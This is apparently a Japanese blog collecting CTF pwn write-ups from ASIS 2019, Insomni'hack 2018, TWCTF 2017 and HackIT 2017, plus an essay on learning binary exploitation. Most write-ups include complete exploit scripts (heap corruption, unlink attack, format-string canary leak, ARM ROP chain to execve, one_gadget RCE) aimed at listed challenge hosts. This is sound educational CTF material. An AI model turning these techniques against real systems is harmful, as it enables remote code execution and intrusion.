ASIS CTF quals 2019 Pwn101
事前調査
なんかごちゃごちゃやってても全然SEGVしてくれないので、多分tcacheの実装された問題だということがわかります。
さらに、Heap Over Flowがあることがわかります。next chunk sizeを変えれます。
Exploit
後は適当に解きます。
malloc_hook (ではうまくいかなかったので、realloc_hookと組み合わせた)にonegadget RCEでフィニッシュです。
from pwn import * context.log_level = "debug" def add_address(desc_len, phone_number, name, description): conn.sendlineafter("> ", "1") conn.sendlineafter("Description Length: ", str(desc_len)) conn.sendlineafter("Phone Number: ", str(phone_number)) conn.sendafter("Name: ", name) conn.sendafter("Description: ", description) def show_address(index): conn.sendlineafter("> ", "2") conn.sendlineafter("Index: ", str(index)) def delete_address(index): conn.sendlineafter("> ", "3") conn.sendlineafter("Index: ", str(index)) def exploit(): add_address(0x30, 0, "A", "A" * 0x30) add_address(0x40, 0, "A", "A" * 0x40) add_address(0xf30, 0, "A", "A" * 0x130) add_address(0xf30, 0, "A", "A" * 0x130) add_address(0xf30, 0, "A", "A" * 0x130) add_address(0x230, 0, "A", "A" * 0x230) delete_address(0) delete_address(2) delete_address(3) delete_address(4) add_address(0x38, 0, "A", "A" * 0x38 + "\xf1") add_address(0xf30, 0, "A", "\x30") show_address(2) conn.recvuntil("Description : ") __MALLOC_HOOK = u64(conn.recv(6) + "\x00\x00") __REALLOC_HOOK = __MALLOC_HOOK - 0x8 LIBC_BASE = __MALLOC_HOOK - 0x3ebc30 log.success("__MALLOC_HOOK: 0x%x", __MALLOC_HOOK) log.success("LIBC_BASE: 0x%x", LIBC_BASE) delete_address(1) add_address(0xe8, 0, "A", "A" * 0x28 + p64(0x51) + p64(__REALLOC_HOOK)) add_address(0x40, 0, "A", "A" * 0x40) add_address(0x40, 0, "A", p64(LIBC_BASE + 0x4f322) + p64(LIBC_BASE + 0x98c3e)) conn.sendlineafter("> ", "1") conn.sendlineafter("Description Length: ", str(0x40)) conn.interactive() if __name__ == "__main__": if len(sys.argv) > 1: HOST = "82.196.10.106" PORT = 29099 conn = remote(HOST, PORT) else: #conn = process(["strace", "./pwn101.elf"]) conn = process(["./pwn101.elf"]) exploit()
Insomni'hack teaser 2018 [Pwn Sape 163] sapeloshop
観察
問題文
Of course Congolese sappers are hegemonic, we can't let Gaboma sappers say otherwise! Go on Jackie's website and teach him a good lesson by pwning him and show that you know how to sape!
通常のPwnでは nc {host_name} {port} のように ncまたはtelnetで接続するような問題が与えられますが
今回の問題では WebSiteに接続するという問題が与えられました。
もしかしたらWeb系との混合問題かもしれません。まずは何もわからないので、配られたファイルを見てみることにしましょう。
ファイルを解凍した中身は以下のようになりました。
$ file * footer.html: UTF-8 Unicode text header.html: HTML document, ASCII text index.html: HTML document, UTF-8 Unicode text libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU/Linux 2.6.32, stripped order.html: HTML document, UTF-8 Unicode text sapeloshop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c03964b1b95b599ee0949ee1bf62a06e02bf9bd, stripped
通常のPwn問と同様に実行可能なバイナリファイルとライブラリのバイナリファイルが入っています。 この問題では更に加えてhtmlファイルも入っています。
さて、とりあえずこのバイナリを実行して解析を進めてみようと思います。しかし、バイナリを実行しても何も表示されず、何かを入力しても、何も起こりません。
もしかすると直接このバイナリにHTTPアクセスを行える可能性があるかもしれません。
とりあえず、 socat TCP-LISTEN:31337,reuseaddr,fork EXEC:"strace -ff -s10000 ./sapeloshop"
のようにしてlistenさせたあと、ブラウザ上からアクセスしてみます。
実際にアクセスしてみたところブラウザ上からは問題なくページを見ることが出来ました。 つまりこれはHTTPサーバーのバイナリと見て問題ないようです。
またバイナリを radare2
でみたところ、これは malloc()
と free()
を使ったHeap系の問題と見ても良さそうです。
Heap系の問題と見た場合の exploit.py
のテンプレートが以下になります。
import sys from pwn import * #context.log_level = "debug" def generate_request(command, data=None): if not data is None: method = "POST" else: method = "GET" request = """{method} /{command} HTTP/1.1\r Host: sapeloshop.teaser.insomnihack.ch\r Connection: keep-alive\r """.format(**locals()) if not data is None: data_len = len(data) request += """Content-Length: {data_len}\r \r {data}""".format(**locals()) else: request += "\r\n" return request def get_index(): conn.send(generate_request("")) conn.recvuntil("HTTP/1.1") def post_add(desc): data = "desc=%s" % desc conn.send(generate_request("add", data)) conn.recvuntil("HTTP/1.1") def post_inc(item): data = "item=%d" % item conn.send(generate_request("inc", data)) conn.recvuntil("HTTP/1.1") def post_sub(item): data = "item=%d" % item conn.send(generate_request("sub", data)) conn.recvuntil("HTTP/1.1") def post_del(item): data = "item=%d" % item conn.send(generate_request("del", data)) conn.recvuntil("HTTP/1.1") def post_order(item): data = "item=%d" % item conn.send(generate_request("order", data)) conn.recvuntil("HTTP/1.1") def exploit(): get_index() post_add("A" * 0x90) post_del(0) post_add("A" * 0x100) post_add("A") post_add("A") conn.interactive() if __name__ == "__main__": if len(sys.argv) > 1: HOST = "sapeloshop.teaser.insomnihack.ch" PORT = "80" conn = remote(HOST, PORT) base_url = "http://" + HOST + "/" else: conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"}) base_url = "http://localhost/" exploit()
リクエストヘッダーには Connection: keep-alive を含めないと一度リクエストを送っただけでプロセスが途絶えてしまうのでそうしておきます。
あとは普通のHeap問と同じように解きます。
Exploit
まずこのバイナリでは calloc()
ではなく malloc()
を使っているために、前に確保されたチャンクの情報が残ってしまうという脆弱性があります。
これを用いることで、 libcのベースアドレスと Heap領域のアドレスをリークすることが出来ます。
def exploit(): get_index() post_add("A" * 0x17) post_add("B" * 0x8 + "\x21") post_add("C" * 0x87) post_sub(2) post_inc(2) for i in range(4): conn.recvuntil("src=\"img/") LEAK = u64(conn.recv(6) + "\x00" * 2) log.success("LEAK :0x%x" % LEAK) leak = 0x7f5e5b522b78 libc = 0x7f5e5b15e000 LIBC = LEAK - (leak - libc) log.success("LIBC :0x%x" % LIBC) post_sub(1) post_sub(0) post_inc(0) for i in range(2): conn.recvuntil("src=\"img/") HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2) log.success("HEAP: 0x%x" % HEAP)
次に POST /sub に脆弱性があります。それは POST /sub によってアイテムの個数が0個になったときに free()
されるのにHeapアドレスは残ったままになるというものです。
これによってもう一度アイテムを増やして、 POST /subをやったりあるいは POST /delをやったときに double free
を起こせる脆弱性があります。
またもうひとつ、 %
をアイテムの名前に含めると %
がスキップされるにもかかわらず、サイズには %
の数も含まれるというバグが存在しており、これらを用いることで
__malloc_free
の書き換えが出来、それによってシェルの奪取が行えます。
以上がExploitになります。
最終的な exploit.py が以下になります。
import sys from pwn import * from pwn import p64, u64 #context.log_level = "debug" def generate_request(command, data=None, fake_len=None): if not data is None: method = "POST" else: method = "GET" request = """{method} /{command} HTTP/1.1\r Host: sapeloshop.teaser.insomnihack.ch\r Connection: keep-alive\r """.format(**locals()) if not data is None: data_len = len(data) if not fake_len is None: data += "%" * (fake_len - data_len - 4) data_len = len(data) request += """Content-Length: {data_len}\r \r {data}""".format(**locals()) else: request += "\r\n" return request def get_index(): conn.send(generate_request("")) conn.recvuntil("HTTP/1.1") def post_add(desc, fake_len=None, end=False): data = "desc=%s" % desc conn.send(generate_request("add", data, fake_len)) if not end: conn.recvuntil("HTTP/1.1") def post_inc(item): data = "item=%d" % item conn.send(generate_request("inc", data)) conn.recvuntil("HTTP/1.1") def post_sub(item): data = "item=%d" % item conn.send(generate_request("sub", data)) conn.recvuntil("HTTP/1.1") def post_del(item): data = "item=%d" % item conn.send(generate_request("del", data)) conn.recvuntil("HTTP/1.1") def post_order(item): data = "item=%d" % item conn.send(generate_request("order", data)) conn.recvuntil("HTTP/1.1") def exploit(): get_index() post_add("A" * 0x17) post_add("B" * 0x8 + "\x21") post_add("C" * 0x87) post_sub(2) post_inc(2) for i in range(4): conn.recvuntil("src=\"img/") LEAK = u64(conn.recv(6) + "\x00" * 2) log.success("LEAK :0x%x" % LEAK) leak = 0x7f5e5b522b78 libc = 0x7f5e5b15e000 LIBC = LEAK - (leak - libc) log.success("LIBC :0x%x" % LIBC) post_sub(1) post_sub(0) post_inc(0) for i in range(2): conn.recvuntil("src=\"img/") HEAP = u64("\x00" + conn.recv(6)[1:] + "\x00" * 2) log.success("HEAP: 0x%x" % HEAP) post_add("D" * 0x67) post_add("E" * 0x67) post_sub(2) post_sub(2) post_del(3) post_inc(2) post_del(2) __malloc_hook = 0x3c4b10 post_add(p64(LIBC + __malloc_hook - 0x23)[:-2], fake_len=0x67) post_add("F" * 0x67) post_add("G" * 0x67) #0x45216 execve("/bin/sh", rsp+0x30, environ) #constraints: # rax == NULL # #0x4526a execve("/bin/sh", rsp+0x30, environ) #constraints: # [rsp+0x30] == NULL # #0xf02a4 execve("/bin/sh", rsp+0x50, environ) #constraints: # [rsp+0x50] == NULL # #0xf1147 execve("/bin/sh", rsp+0x70, environ) #constraints: # [rsp+0x70] == NULL one_gadget = 0xf02a4 post_add("A" * 0x13 + p64(LIBC + one_gadget)[:-2], fake_len=0x67) post_add("A", end=True) conn.interactive() def experiment(): get_index() post_add("A" * 0x17, fake_len=0x87) conn.interactive() if __name__ == "__main__": if len(sys.argv) > 1: HOST = "sapeloshop.teaser.insomnihack.ch" PORT = "80" conn = remote(HOST, PORT) base_url = "http://" + HOST + "/" else: conn = process("./sapeloshop")#, env={"LD_PRELOAD":"./libc-2.23.so"}) base_url = "http://localhost/" exploit()
フラグは
INS{sapeurs_are_the_real_heapsters}
です。
なんかそこそこPwnできるようになるためにしたこと
これは
の2日目の記事です。
1日目はhamaさんの
でした。
- Pwn問をひたすら解きます。
- 1を繰り返します。
というのは基本なんですが、せっかく記事にするのでもっと詳しく書いていきます。
打倒!村人!
もともと僕が本格的にCTFを始めたのは去年のSECCON一週間前ぐらいからでした。
そのときはハリネズミ本をやってksnctfの村人Aを倒すところまで行きました。
ですが、正直その時はスタックについても書式文字列攻撃についても正直言って何もわからない状態でした。
なんとなく手順を真似るだけで精一杯な状況でした。
CTFに参加しまくろう!
それからHarekazeでほぼすべてのCTFに参加するようになって
なんとなくですが、これでCTFで何をすればいいかについて大分把握できるようになってきました。
このあと7月の後半に入って、Pwnをちゃんとやってみようと思い
そこからやっとPwnでHeap問みたいな今のPwn入門と言える問題が解けるようになっていきました。
もちろん7月以降の取り組みによってPwnがそこそこできるようになったとは思うのですが
これまでのCTFを地道に取り組み続けるというのは割と自分の中では基礎になっているのかなと思っています。
解析にあたっての取り組み方
ここからやっと本題で、Pwnをやる上で大事だなぁと思う取り組み方について紹介します。
最終目標「シェルをとる」の確認
まずはじめに自分はシェルをとるということに関して曖昧な理解でした。
シェルをとることについてはいろいろと方法がありますが、実は最終的にやればいいことはひとつで
execve("/bin/sh",["/bin/sh"],NULL);
を実行することになります。execveの第二引数はNULLでも構いません。
他にも方法があると思う方もいるかもしれませんが
system("/bin/sh");
あるいは、 onegadgetRCEといったものは内部で同様のことを実行しており
最終目的に至るための一つの手段になります。
EIPをとるとは
Pwnでよくある説明の中にEIPをとるという表現があると思います。
EIPはx86アーキテクチャにおけるプログラムの先頭を指すアドレスです。これは一般的にプログラム・カウンタと呼ばれます。
プログラム・カウンタであるEIPを書き換えるという表現は確かに正しいのですが、自分の中ではしっくり来ませんでした。
どちらかといえば、任意のアドレスにプログラムが飛ぶようにするという方が自分の中の理解になります。
プログラムを任意のアドレスに飛ばすと何が嬉しいか
次に任意のアドレスにプログラムを飛ばせるようになると何がいいのかということになります。
最初から自動的にシェルが取れるようなプログラムであれば最終目的はすぐに達成されますが
もちろんそのような問題は出ません。もし出たとしてもそれはカーネルのエクスプロイトか、Sanity Checkです。
実際にはシェルを取るためには、まず攻撃者が指定する動作(="/bin/sh"を実行する)をプログラムがするようにしなければいけません。
ここで指定する動作を実行させるためにできることがプログラムを任意のアドレスに飛ばすということです。
Pwnの問題には中にはプログラム中にフラグを表示させる関数やシェルをとる関数が仕込まれているがあるので
プログラムを任意のアドレスに飛ばすだけで攻略できる問題もあります。
プログラムをどこのアドレスに飛ばすか
次にそうでない場合、プログラムをどこのアドレスに飛ばすかということを考えなければなりません。
これには色々な飛ばし方があるので、飛ばせる範囲のことから考える必要があります。
そこで初めて、セキュリティ機構を把握することやメモリアドレスのリークが重要になってくるのです。
例えばセキュリティ機構ASLRが有効であれば、libcのアドレスはlibcのアドレスをリークしてからでないと
飛ばせる先の候補にならないという話などがそれに該当します。
利用できるものは何でも利用する
CTFにおいて大切なことは利用できるものは何でも利用するということです。
もちろんルールは守らなければいけませんが、ルールを守りさえすれば何でもしていいというのがCTFです。
とくにPwnにおいてはバイナリが配布されていることが多く、それがまず大きな利用できる資源になります。
次に解析していく中で、気になったことがあればすぐにWebで検索することです。
Pwnはバイナリを解析することがすべてのように思いがちですが、知識を違うところから得ることで解ける問題もあります。
例えばライブラリをそのまま使ってコンパイルしたような痕跡を発見して、それで検索してみると見事にライブラリのソースコードが出てきたり
過去問のwriteup(解説記事)がでてくるといったようなことは割とよくあることです。
また基礎的なことですが、アセンブリでわからない命令があった場合は即座に検索しておくのがおすすめです。
命令についてはいつまで検索を続ければいいのか不安になる方もいるかもしれませんが
そのうち慣れてくると検索しなくても何をやっているかがわかるようになるので大丈夫です。
さいごに
CTFでもっとも大事なのは絶対に問題を解いてやると思う根気と情熱だと思っています。
正直言って、自分の場合は割と執着に近いレベルでこれをやっています。
とにかく取り組み続けてみましょう。もしかしたら何かがわかるかもしれません。
CTF AdventCalendar 3日目はmegumishの
実践!Pwn入門 0CTF 2017-Baby Heap 2017 で学ぶPwnの進め方
です。
TWCTF 2017 [Pwn 86] simple note
Tokyo Westerns CTF 2017 の Pwn問です。
開催期間中に解けませんでしたが供養のため。
観察
セキュリティ機構
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
fileコマンド
»»»» file simple_note simple_note: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9976eff277e9b1fef5ebe60277ea7eb90a17625e, not stripped
さて今回の問題はHeap Exploit問のようです。
editコマンドは strlen
で長さを数えたあと、その長さ分の文字列を入力として受け付けるようです。
例えば、addコマンドにより 0x88
のような大きさの文字列を二回とった場合(この場合mallocでは0x90の長さの領域が確保されるが、実際にはオフセット0x88部分に次の領域のサイズが格納されるようになる。)
以下のようなデータの配置になります。
... 0x1b47000: 0x0000000000000000 0x0000000000000091 0x1b47010: 0x4141414141414141 0x4141414141414141 0x1b47020: 0x4141414141414141 0x4141414141414141 0x1b47030: 0x4141414141414141 0x4141414141414141 0x1b47040: 0x4141414141414141 0x4141414141414141 0x1b47050: 0x4141414141414141 0x4141414141414141 0x1b47060: 0x4141414141414141 0x4141414141414141 0x1b47070: 0x4141414141414141 0x4141414141414141 0x1b47080: 0x4141414141414141 0x4141414141414141 0x1b47090: 0x4141414141414141 0x0000000000000091 0x1b470a0: 0x4141414141414141 0x4141414141414141 0x1b470b0: 0x4141414141414141 0x4141414141414141 ...
バイナリはリトルエンディアンなので、メモリはひとつの塊(8byte)の中では右から左(アドレスが小さい方から)に進んでいきます。そのため アドレス 0x1b47090
の文字列 0x4141414141414141
と アドレス 0x1b47098
の文字列は 0x0000000000000091
は隣接しているため、 実際のところ 0x41414141414141419100000000000000
のようになっていると見ることが出来ます。
さて strlen
では文字列が終端文字 0x00
に到達するまで長さをかぞえます。ということは、つまり今回の場合では次の領域のサイズを示すバイトを上書きして入力できるということになります。
あとはこれを用いて、領域をオーバーラップさせunlink attackにつなげてgot領域の atoi
関数を system
関数に書き換えればシェルが取れます。
unlink attackについてはbataさんの資料が詳しいです。
katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap / katagaitai CTF #1 // Speaker Deck
Exploit
以下のExploitではわざわざ領域をオーバーラップさせることで、LIBCのアドレスをリークしていますが実際にはaddコマンドで入力した文字列が終端処理されないため、単にfreeしてLIBC上のアドレスを出した後、8byteだけ文字を入力するなどすればLIBCのリークは可能だと思います。
from pwn import * import sys #context.log_level = "debug" def add_note(size, content): conn.sendafter("Your choice:", "1") conn.sendafter("Please input the size:", str(size)) conn.sendafter("Please input your note:", content) def delete_note(index): conn.sendafter("Your choice:", "2") conn.sendafter("Please input the index:", str(index)) def show_note(index): conn.sendafter("Your choice:", "3") conn.sendafter("Please input the index:", str(index)) def edit_note(index, content): conn.sendafter("Your choice:", "4") conn.sendafter("Please input the index:", str(index)) conn.sendafter("Please input your note:", content) #size 0x7f > def exploit(): add_note(0x88, 'A' * 0x88) #idx0 add_note(0x88, 'A' * 0x88) #idx1 pause() add_note(0x88, 'A' * 0x88) #idx2 delete_note(1) add_note(0x88, 'A' * 0x8) #idx1 show_note(1) conn.recvuntil('Note: \n') LEAK = u64(conn.recv(14)[-6:] + '\x00' + '\x00') #>>> hex(0x7f5ce68adb78 - 0x7f5ce64e9000) #'0x3c4b78' LIBC = LEAK - 0x3c4b78 log.success("LEAK :0x%x" % LEAK) log.success("LIBC :0x%x" % LIBC) add_note(0x88, 'A' * 0x88)#idx3 add_note(0xf8, 'A' * 0xf8)#idx4 0x00 add_note(0x88, 'A' * 0x88)#idx5 0x100 add_note(0x88, 'A' * 0x88)#idx6 0x190 content = 'A' * 0x18 + p64(0x71) content += 'A' * (0x88 - len(content)) add_note(0x88, content)#idx7 0x220 edit_note(3, 'A' * 0x88 + '\x41\x02') delete_note(4) content = 'A' * 0x108 + p64(0x81) content += p64(0x6020c0 + 0x8 * (5 - 3)) + p64(0x6020c0 + 0x8 * (5 - 2)) content += 'A' * 0x60 + p64(0x80) + p64(0xb0) content += 'A' * (0x238 - len(content)) add_note(0x238, content) delete_note(6) #0088| 0x602058 --> 0x7f680f492e80 (<atoi>: edit_note(5, '\x58\x20\x60') #0000000000045390 W system edit_note(2, p64(LIBC + 0x45390)) conn.interactive() def experiment(): add_note(0x88, 'A' * 0x88) add_note(0x88, 'A' * 0x88) add_note(0x88, 'A' * 0x88) add_note(0x88, 'A' * 0x88) delete_note(1) pause() if __name__ == "__main__": if len(sys.argv) > 1: HOST = "pwn1.chal.ctf.westerns.tokyo" PORT = 16317 conn = remote(HOST, PORT) else: conn = process("./simple_note", env={"LD_PRELOAD":"./libc.so.6"}) exploit() #experiment()
フラグは時間内に取れなかったので知りません。
TWCTF 2017 [Pwn 23] Just do it!
Tokyo Westerns CTF 2017 の warmup問題です。
観察
セキュリティ機構の確認
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
fileコマンド
»»»» file just_do_it just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
静的解析をしてみると、ebp - 0x20
の位置に入力した文字列が、 ebp - 0xc
の位置に間違ったパスワード入力した時に出るメッセージのアドレスが格納されているようです。
また 0x20 - 0xc = 0x14
であり、入力出来る文字数は 0x20
なので ebp - 0xc
の位置にフラグの文字列のアドレスを入れると良さそうです。
今回の問題の場合、flagの文字列は 0x0804a080
にあるようなのでそれを入れます。
Exploit
観察 で計画した通りのExploitコードが以下です。
from pwn import * HOST = "pwn1.chal.ctf.westerns.tokyo" PORT = 12345 #conn = process("./just_do_it") conn = remote(HOST, PORT) payload = "A" * (0x20 - 0xc) #s obj.flag #[0x0804a080]> payload += p32(0x0804a080) conn.sendline(payload) conn.stream()
フラグです。
TWCTF{pwnable_warmup_I_did_it!}
余談ですがこの問題は、自分の頭の中ではROPで解いたつもりだったのですが、実際は上記に示すような解法になっていたようです。(とてもアホだった。)
HackIT CTF 2017 [Pwn 200] Terminator canary
観察
[Pwn 150]と引き続きこちらのバイナリもARMのようです。
»»»» file pwn200 pwn200: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=d78f4d65bc199dc2216d5076b7944d7707c6163a, not stripped
まずはセキュリティ機構のチェックをします。
»»»» gdb -q pwn200 Reading symbols from pwn200...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
CANRYとNXBitが有効なようです。 今回も statically linked
ですので、条件を揃えた場合のみシェルコードが実行可能ということを理解してExploitコードを組み立てましょう。
まずは動的解析をしてみました。(実際にやるときはどちらでもいいとは思いますが、僕の場合は動的解析で動きを掴んで詳細を追うために静的解析に取り組むほうが多いです。)
その結果 CHECK>
の直後の入力で書式指定文字列攻撃(FSA)が、 FIGHT>
の直後の入力でBuffer Over Flowができることが分かりました。ただしBoFはCANARYの値を特定できない限りは利用できません
さてFSAが可能なことがわかっているため、次は使えそうなオフセットを次のようなスクリプトで探します。
from pwn import * context.log_level = "debug" for i in range(1,1000): conn = process('./pwn200') #conn = remote(HOST, PORT) conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i) addr = conn.recvuntil('I need')[4:-6] if not '0' == addr: print(i) print(addr) conn.close()
この結果以下の有用なオフセットを発見しました。
オフセット 3: 入力先のアドレスのポインタ オフセット 5: 入力先 オフセット 520: _libc_start_main()の途中のアドレス(つまり、main()の呼び出し元) オフセット 534: CANRAYの値のポインタ
このオフセットは試行錯誤のすえに手に入れたものなので、実際にやるときは必要になってから発見するのがいいと思います。
Exploit
前述したようにこの問題はシェルコードを実行する環境を整えないとシェルコードは使えません。そのためまずはCANARYを特定して、BOFを発生させてROPにつなげる方法について検討します。
まず、CANARYを特定したいところですが、ひとつ問題があります。それはCANARYの最下位のバイトがNULLバイトであるということです。(これは必ずそうなるようです。自分はあまり詳しくないので、他のアーキテクチャでもこうなるのかはわかりません。)
これを回避するためにまず以下のようなペイロードで最下位のバイトを書き換えておきます。
'%65x%534$hhn'
さらにこのペイロードに以下のペイロードを追加することでCANARYをLEAKします。
'%534$s'
最後に以下のペイロードを追加してCANARYの値を元に戻します。元に戻しておかないと、この時点でBoFが検出されることになってしまいます。
'%179x%534$hhn'
値を変更元より小さい値にしたいときは数値をオーバーフローさせることでそれが可能になります。
さて、これでCANARYをLEAKすることができました。またCANARYは今回の場合は入力バッファーの最後につくようなので、'A' * 1024(この値は静的解析などで調べる)のあとにCANARYを配置してBoFのオフセットを探しましょう。
BoFのオフセットが特定できたらあとは、 execve("/bin//sh", NULL, NULL)
を実行して終わりです。
今回はARMアーキテクチャなので、レジスタr7にexecve()のシステムコール番号11を入れ、引数をr0, r1, r2の順番に入れれば完了です。
また文字列 "/bin//sh"
は入力に含めておいて、オフセット3を用いることでそれを指すようにしておきます。
ARMアーキテクチャには ret
命令のようなものはないため、 bx {reg}
命令を用いてROPを実行します。最後に割り込み処理 svc 0
を実行することでシステムコールを呼ぶことが出来ます。
以下が最終的な Exploitコードです。参考のため、オフセット確認用のスクリプトなどもコメントアウトして残しておきました。
from pwn import * #context.log_level = "debug" HOST = '165.227.98.55' PORT = 3333 #3 stack pointer 5 #for i in range(1,1000): # conn = process('./pwn200') # #conn = remote(HOST, PORT) # conn.sendlineafter('CHECK> ', 'AAAA%%%d$s' % i) # addr = conn.recvuntil('I need')[4:-6] # if not '0' == addr: # print(i) # print(addr) # conn.close() #for i in range(1010, 2000): # print(i) # #conn = remote(HOST, PORT) # conn = process('./pwn200') # conn.sendlineafter('CHECK> ', 'AAAA') # conn.sendlineafter('and your motorcycle.', 'A' * i) # conn.stream() # conn.close() #conn = remote(HOST, PORT) #check offset #for i in range(100): # print(i) # conn = process('./pwn200') # conn.sendlineafter('CHECK> ', '%1536x%520$hn') # conn.sendlineafter('and your motorcycle.', 'A') # conn.sendlineafter('CHECK> ', '%65x%534$hhn%534$s%179x%534$hhn') # conn.recvuntil('A') # canary = u32('\x00' + conn.recv(3)) # payload = 'A' * 1024 # payload += p32(canary) # payload += 'A' * i # conn.sendlineafter('FIGHT> ', payload) # conn.interactive() # offset 8 #conn = process(['qemu-arm-static', '-g', '1234', 'pwn200']) #conn = process(['qemu-arm-static','pwn200']) conn = remote(HOST, PORT) conn.sendlineafter('CHECK> ', '%1536x%520$hn%3$x') STACK = int(conn.recvuntil('I')[-9:-1], 16) log.success("STACK :0x%x" % STACK) conn.sendlineafter('and your motorcycle.', 'A') payload = '%65x' payload += '%534$hhn%534$s%179x%534$hhn' payload += '/bin//sh\x00' conn.sendlineafter('CHECK> ', payload) conn.recvuntil('A') STACK_BINSH = STACK + len(payload) - 9 log.success("STACK_BINSH :0x%x" % STACK_BINSH) CANARY = u32('\x00' + conn.recv(3)) log.success("CANARY :0x%x" % CANARY) payload = 'A' * 1024 payload += p32(CANARY) payload += 'A' * 12 # 0x00054c78 9040bde8 pop {r4, r7, lr} # 0x00054c7c 1eff2fe1 bx lr payload += p32(0x00054c78) payload += p32(0) payload += p32(11) # 0x00070068 0140bde8 pop {r0, lr} # 0x0007006c 1eff2fe1 bx lr payload += p32(0x00070068) payload += p32(STACK_BINSH) # 0x0006faf8 0640bde8 pop {r1, r2, lr} # 0x0006fafc 920003e0 mul r3, r2, r0 # 0x0006fb00 031041e0 sub r1, r1, r3 # 0x0006fb04 1eff2fe1 bx lr payload += p32(0x0006faf8) payload += p32(0) payload += p32(0) # 0x00070590 0240bde8 pop {r1, lr} # 0x00070594 1eff2fe1 bx lr payload += p32(0x00070590) payload += p32(0) #0x000101b8 # 4: svc 0 payload += p32(0x000101b8) conn.sendlineafter('FIGHT> ', payload) conn.interactive()
フラグ
h4ck1t{Sarah_would_be_proud}
FSAとBoFを組み合わせた問題は初めて解いたので面白かった。
HackIT CTF 2017 [Pwn 150] Today’s moon phase
観察
まずは file
でどんなバイナリか確認します。
»»»» file pwn150 pwn150: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=5a8f4e74e4fd679377d86ea567c6da3701b1bd4a, not stripped
ARMアーキテクチャのバイナリのようです。これを実行する場合はubuntuでは qemu-user-static
をインストールすることで実行できます。このパッケージは様々なアーキテクチャに対応しているので他のアーキテクチャのバイナリもこれひとつで実行できるはずです。
次にバイナリのセキュリティ機構について確認します。
»»»» gdb -q pwn150 0|00:31:26 Reading symbols from pwn150...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
NXBitがついているようです。この時点で dynamically linked
の場合はシェルコードを流す解法でないことが分かります。
今回のバイナリの場合、 statically linked
のため、もしかしたら _dl_make_stack_executable()
や mmap()
を使うことで、シェルコードが利用できる可能性もあります。とりあえずこのことは頭の片隅に置いて、次にディスアセンブリしてみましょう。(もちろん、 dynamically linked
でも上記の関数は使えますが、それらを使わずに system()
や one gadget RCE
を使うほうが楽なことが多いです。)
ディスアセンブリには radare2
を使います。 r2 -w -a arm pwn150
のように -a
オプションでアーキテクチャを指定してディスアセンブリ出来ます。 -w
はバイナリに書き込み可能にするためのオプションです。 -w
オプションを使うと、開いている間はバイナリの実行ができなくなるので、コピーしたものを解析するのがおすすめです。
statically linked
のため関数が多かったためいきなり、 sym.main
を見ることにしました。 VV
コマンドでグラフ表示してみていくと、 sym.get_flag
という関数があるようです。この問題のExploitではこの関数の呼び出しを目標にして、脆弱性を探します。
続いて、動的解析に入ります。結論から言うと、 What is your name?
の直後の入力には脆弱性がありませんが、 そのあと選択肢を答えていった後の Please, enter length of your message:
の直後の入力で Buffer Over Flow
を起こせるようです。
BoFを利用するため、オフセットを調べたいところですが残念ながらこの時はデバッガーの使い方を知りませんでした。そのため一文字ずつ送る文字を増やしていき、SEGVの起こる位置を調べてオフセットを確認しました。
(その後に分かったことですが、 qemu-arm-static -g {port} {exec_file}
でgdbserverを立てることが可能です。また qemu-arm-static -strace {exec_file}
でstraceと同様の効果が得られます。)
オフセットを調べることが出来たので後はreturn先のアドレスに get_flag()
関数を仕込めばExploitの完成です。
Exploit
とくにBoFの起こし方は x86/x86_64
アーキテクチャなどと変わらないため、オフセット分を埋めて get_flag()
のアドレスを仕込みます。また入力には長さを求められますが、そこは -1
などにしておけば問題ないです。
最終的なExploitコードは次のようになりました。
from pwn import * HOST = "165.227.98.55" PORT = 2222 #conn = process(['strace', 'qemu-arm-static', './pwn150']) conn = remote(HOST, PORT) conn.sendlineafter('What is your name?', 'A') conn.sendlineafter('Enter Y or N:', 'Y') conn.sendlineafter('Please, enter length of your message:', '-1') payload = 'A' * 532 payload += p32(0x104d8) log.success("get_flag()") conn.sendline(payload) conn.stream() conn.close()
Flag
h4ck1t{Astronomy_is_fun}
この問題はARMでしたが、実行環境が整えば x86/x86_64
と何ら変わらないやり方でいける問題でした。